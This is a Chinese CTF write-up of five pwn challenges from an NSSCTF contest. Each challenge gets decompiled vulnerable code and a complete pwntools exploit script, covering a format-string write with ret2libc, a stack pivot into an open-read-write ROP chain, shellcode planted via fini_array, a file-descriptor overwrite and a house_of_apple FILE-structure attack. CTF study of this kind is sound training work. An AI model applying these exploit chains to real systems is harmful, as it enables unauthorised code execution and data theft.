周末NSS的PWN专题,只作了3个,结束后跟NSS的师傅聊,对方确认了第4题的作法,重作成功。第5题看师傅的WP复现成功。
主函数给了个printf,这里可以得到所有地址,并且要求把v4,v5改相等
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+8h] [rbp-48h] BYREF
__int64 v5; // [rsp+10h] [rbp-40h]
__int64 *v6; // [rsp+18h] [rbp-38h]
pthread_t newthread[6]; // [rsp+20h] [rbp-30h] BYREF
newthread[5] = __readfsqword(0x28u);
init(argc, argv, envp);
v4 = 555LL;
v5 = 520LL;
v6 = &v4;
puts("I want to hear your praise of Toka\n");
read(0, buf, 0x40uLL);
printf(buf);
if ( v5 == v4 )
{
pthread_create(newthread, 0LL, vuln, 0LL);
pthread_join(newthread[0], 0LL);
}
else
{
puts("Obviously, you don't love him");
}
return 0;
}
成功后会进入子进程,有个gets的溢出
void *__fastcall vuln(void *a1)
{
char v2[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("I know you like him, but you must pass my level\n");
gets(v2);
return 0LL;
}
先利用printf得到需要的地址,由于栈里有一个指向v4的指针,所以可以利用它来改v4
先用个pay得到相关的偏移
pay = b'%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p,%13$p,%14$p,%15$p,%16$p,%17$p'
# 7v4 8v5 9 v6 10 11 12 13 14 15
#0xc2,0x22b,0x208,0x7fffffffde58,0x7ffff7fa32e8,0x401390,(nil),0x401130,0x7fffffffdf90,0xd9ac603b8d1ef800
后边就是传统的泄露和system了
from pwn import *
#p = process('./pwn')
p = remote('node1.anna.nssctf.cn', 28591)
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
pay = b'%520c%9$lln,,%15$p,'
p.sendafter(b"I want to hear your praise of Toka\n\n", pay)
p.recvuntil(b',,')
canary = int(p.recvuntil(b',', drop = True) ,16)
print(f"{canary = :x}")
pop_rdi = 0x00000000004013f3 # pop rdi ; ret
vuln = 0x40125d
pay = b'A'*40 + flat(canary, 0x404800, pop_rdi, elf.got['puts'], elf.plt['puts'], vuln)
p.sendlineafter(b"I know you like him, but you must pass my level\n\n", pay)
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")
pay = b'A'*40 + flat(canary, 0x404800, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')) , libc.sym['system'], vuln)
p.sendlineafter(b"I know you like him, but you must pass my level\n\n", pay)
p.interactive()
在main里调用的sandbox禁用了execve, 在vuln里有个溢出但只溢出到rbp+ret
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(); // 禁用exec
puts("read is important");
vuln();
return 0;
}
__int64 vuln()
{
char buf[524]; // [rsp+0h] [rbp-210h] BYREF
int v2; // [rsp+20Ch] [rbp-4h]
v2 = 2;
puts("try it");
read(0, buf, 0x220uLL);
puts(buf);
return 0LL;
}
题目PIE没开,所以
第1步到移栈到bss里这里的地址是已知的。
第2次直接用leave_ret,移栈到前部执行泄露并回到vuln
在vuln读入pay后,再直接用leave_ret到前部执行ORW
from pwn import *
#p = process('./rbp')
p = remote('node3.anna.nssctf.cn', 28784)
context(arch='amd64', log_level='debug')
elf = ELF('./rbp')
libc = ELF('./libc.so.6')
vuln = 0x40127f
pop_rdi = 0x0000000000401353 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000401351 # pop rsi ; pop r15 ; ret
bss = 0x404800
leave_ret = 0x4012bf
#1
pay = b'\x00'*0x210 + flat(0x404800, vuln)
p.sendafter(b"try it\n", pay)
#2
pay = flat(bss+0x300, pop_rdi, elf.got['puts'], elf.plt['puts'], vuln).ljust(0x210, b'\x00') + flat(bss-0x210, leave_ret)
p.sendafter(b"try it\n", pay)
p.recvline()
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")
pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret next(libc.search(asm('pop rsi;ret')))
pop_rdx = libc.address + 0x0000000000142c92 # pop rdx ; ret next(libc.search(asm('pop rdx;ret')))
syscall = next(libc.search(asm('syscall;ret')))
#3
pay = flat([b'./flag\x00\x00', pop_rdi, bss+0x300-0x210, pop_rsi,0, libc.sym['open'],
pop_rdi,3, pop_rsi, bss, pop_rdx, 0x50, libc.sym['read'],
pop_rdi, bss, elf.plt['puts']
]).ljust(0x210, b'\x00') + flat(bss-0x210+0x300, leave_ret)
p.sendafter(b"try it\n", pay)
p.recvline()
print(p.recvline())
p.interactive()
程序会读入一个地址,并向这个地址定异或1个字节
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+7h] [rbp-9h] BYREF
_BYTE *v5; // [rsp+8h] [rbp-8h] BYREF
init();
while ( flag <= 0 )
{
printf("addr: ");
__isoc99_scanf("%p", &v5);
printf("value: ");
__isoc99_scanf(" %hhx", &v4);
xorByteWithAddress(v5, v4);
}
return 0;
}
__int64 __fastcall xorByteWithAddress(_BYTE *a1, char a2)
{
*a1 ^= a2;
return (unsigned int)++flag;
}
第1步是把flag的高位写成0xff这样变成负数就不会退出
第2步本来想改got表,但发现这里是rwx的块,所以直接在fini_array写指针+shellcode
最后把第1步写的ff异或掉,退出时会调用fini_array里的函数得到shell
from pwn import *
#p = process('./pwn')
p = remote('node1.anna.nssctf.cn', 28717)
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def write(addr ,v):
p.sendlineafter(b"addr: ", hex(addr)[2:].encode())
p.sendlineafter(b"value: ", hex(v)[2:].encode())
#gdb.attach(p, "b*0x400743\nc")
#600bcc flag
write(0x600bcc+3, 0xff)
#shellcode写到rwx段
v = asm(shellcraft.sh())
for i,k in enumerate(v):
if k != 0:
write(0x600d00+i, k)
#修改fini指向shellcode
fini = 0x600970
v = p32(0x600d00 ^ 0x400610)
for i,k in enumerate(v):
if k != 0:
write(fini+i, k)
write(0x600bcc+3, 0xff)
p.interactive()
后边这两题没完成,赛后问了一下,说是覆盖文件标识fild_id看来方向没错,接着弄,终于完成。
程序有打开文件和读文件两个功能。打开文件时发现有flag就会退出。但由于scanf(%8s)会在输入8个字符后将后边相邻的fild_id用\0覆盖。后边在读文件时由于fild_id=0会从标记输入读入。
int load_file()
{
int result; // eax
printf("file_name : ");
__isoc99_scanf("%8s", file_name);
if ( strstr(file_name, "flag") )
return puts("No permission !");
file_fd = open(file_name, 0, 0LL);
if ( file_fd < 0 )
return puts("File opening failed !");
result = puts("File opened successfully !");
file_flag = 1;
return result;
}
在readfile时当输入的数小于55时会有溢出
int read_file()
{
unsigned __int64 v1; // rax
void *v2; // rsp
__int64 savedregs; // [rsp+8h] [rbp+0h] BYREF
if ( !file_flag )
return puts("Please open the file first ");
printf("file_content_length : ");
__isoc99_scanf("%d", &content_size);
v1 = 16 * ((content_size + 23LL) / 0x10uLL);
while ( &savedregs != (__int64 *)((char *)&savedregs - (v1 & 0xFFFFFFFFFFFFF000LL)) )
;
v2 = alloca(v1 & 0xFFF);
if ( (v1 & 0xFFF) != 0 )
*(__int64 *)((char *)&savedregs + (v1 & 0xFFF) - 8) = *(__int64 *)((char *)&savedregs + (v1 & 0xFFF) - 8);
file_content = &savedregs;
if ( content_size > 55 )
{
read(file_fd, file_content, content_size);
}
else
{
puts("It's too small. Here's a gift for you, read more ");
read(file_fd, file_content, content_size + 0x38);
}
return printf("file_content : %s\n", (const char *)file_content);
}
这个题有没pop xxx所以只能用程序里的段取代。
先随便输入个东西打开文件,然后再进入输入带flag的8字节覆盖fild_id再进来输入个flag
第1段用0x401493这里打开文件
第2段用0x4015f0直接读然后输出
from pwn import *
p = process('./pwn')
#p = remote('node1.anna.nssctf.cn', 28717)
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def load_file(name):
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b"file_name : ", name)
def read_file(size, msg):
p.sendlineafter(b">> ", b'2')
p.sendlineafter(b"file_content_length : ", str(size).encode())
p.sendafter(b"It's too small. Here's a gift for you, read more ", msg)
#gdb.attach(p, "b*0x40160e\nc")
load_file(b'./') #打开文件 置状态
load_file(b'././flag') #file_id = 0 用串结束符\0覆盖file_id 为0
load_file(b'flag')
bss = 0x404800
pay = b'A'*0x40 + flat(bss, 0x401493, bss, 0x4015f0) #load_file read_file
read_file(55, pay)
p.interactive()
这个拿到WP也没完成,后来发现ASLR如果关闭就不成,什么原因不清楚。
并且这题用的是libc-2.35-0u3.1这个版本已经没有hook了。
有三个函数add,show,edit
其中show的指针是unsign int不能前溢出,add,edit都可以前溢出,并且add的可多写8字节
建块可id <=7 并且有 size检查,edit在运行后会exit
思路分两部分,前边通过建块将top_chunk的头改小,然后建大块让top_chunk进行到largbin,然后再在largbin建小点的块利用残留得到libc。
由于后边要前溢出写stdout(偏移-8)所以要建个块在4的位置,让edit时使用这个指针作为size.
第2部分利用前溢出修改stdout,这块只能用板子,自己是不会的。说是house_of_apple
from pwn import *
p = process('./pwn')
#p = remote('node1.anna.nssctf.cn', 28717)
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def add(idx, size, msg):
p.sendlineafter(b"choice: ", b'1')
p.sendlineafter(b"idx: ", str(idx).encode())
p.sendlineafter(b"size: ", str(size).encode())
p.sendafter(b"content: ", msg)
def show(idx):
p.sendlineafter(b"choice: ", b'2')
p.sendlineafter(b"idx: ", str(idx).encode())
def edit(idx,msg):
p.sendlineafter(b"choice: ", b'4')
p.sendlineafter(b"idx: ", str(idx).encode())
p.sendafter(b"content: ", msg)
add(4, 0x108, b'A'*0x108 + p64(0xf51))
add(1, 0x1000, b'A')
add(2, 0x108, b'A'*8)
show(2)
p.recvuntil(b'A'*8)
libc.address = u64(p.recvline().rstrip().ljust(8, b'\x00')) - 0x21a2f0
print(f"{libc.address = :x}")
pop_rbp = libc.address + 0x000000000002a2e0 # pop rbp ; ret
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx_r12 = libc.address + 0x000000000011f497 # pop rdx ; pop r12 ; ret
leave_ret = libc.address + 0x00000000000562ec # leave ; ret
standard_FILE_addr = libc.sym['_IO_2_1_stdout_']
_IO_wfile_jumps_addr = libc.sym["_IO_wfile_jumps"]
#0x7ffff7e1a850 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7e16600 <-- 0x21a860-8
#0x7ffff7e1a860: 0x00007ffff7e1a6a0 0x00007ffff7e1a780
fake_rbp = libc.address + 0x21a860-8 #libc.sym['_IO_2_1_stdout_'] + 0xd8 #rop
io_file = FileStructure()
io_file.flags = 0
io_file._IO_read_ptr = pop_rbp
io_file._IO_read_end = fake_rbp
io_file._IO_read_base = leave_ret
io_file._IO_write_base = 0
io_file._IO_write_ptr = 1
io_file.unknown2 |= (0 << 192)
io_file._lock = standard_FILE_addr-0x10
io_file.chain = leave_ret
io_file._codecvt = standard_FILE_addr
io_file._wide_data = standard_FILE_addr - 0x48
io_file.vtable = _IO_wfile_jumps_addr
flag = fake_rbp + 0xb0 #flag地址
payload = bytes(io_file)
payload += flat([pop_rdi, flag, pop_rsi, 0, libc.sym['open'],
pop_rdi, 3, pop_rsi, flag, pop_rdx_r12, 0x50,0, libc.sym['read'],
pop_rdi, 1, pop_rsi, flag, pop_rdx_r12, 0x50,0, libc.sym['write']
])
payload += b"flag\x00"
edit(-8,payload)
print(p.recv(0x50))
#p.interacitve()
#ASLR关闭后,无法成功